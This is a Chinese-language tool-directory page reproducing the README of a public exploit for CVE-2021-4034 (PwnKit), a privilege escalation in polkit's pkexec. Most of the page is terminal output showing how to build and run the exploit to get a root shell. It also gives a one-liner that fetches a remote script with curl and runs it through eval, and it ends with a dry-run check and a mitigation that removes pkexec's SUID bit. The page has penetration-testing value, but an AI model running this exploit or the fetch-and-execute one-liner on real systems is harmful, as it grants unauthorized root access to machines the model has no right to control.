Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-4034 — CVE-2021-4034 1day | Kitploit
工具/GitHubGitHub/berdav/cve-2021-4034
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubberdav/cve-2021-4034

CVE-2021-4034

CVE-2021-4034 1day

查看仓库
2.0k5074年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-4034

polkit 权限提升漏洞的利用代码

只需执行 make 和 ./cve-2021-4034,即可获得 root shell。

原始通告由真实作者发布于此处

PoC

如果利用成功,你将立即获得 root shell:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

在大多数系统上更新 polkit 将会修补此漏洞,因此你会看到用法信息并退出:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

预运行

要测试系统是否存在漏洞而不实际执行 shell,请编译 dry-run 目标。

如果程序输出 "root" 并退出,则表示您的系统存在此漏洞。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

如果系统不存在漏洞,则会输出错误并退出。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

关于 Linux 下的 Polkit pkexec

Polkit(原名 PolicyKit)是一个用于控制类 Unix 操作系统中系统级权限的组件。它提供了一种规范的方式,让非特权进程与特权进程进行通信。也可以通过 pkexec 命令以提升的权限执行命令,语法为 pkexec 后跟要执行的命令(以 root 权限运行)。

一行命令

你可以使用单个脚本轻松利用该系统,通过以下命令下载并执行:

root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

缓解措施

如果您的操作系统没有可用的补丁,您可以移除 pkexec 的 SUID 位作为临时缓解措施。

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

之后利用将失败,并提示 pkexec 必须设置 setuid 位。

root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
下载工具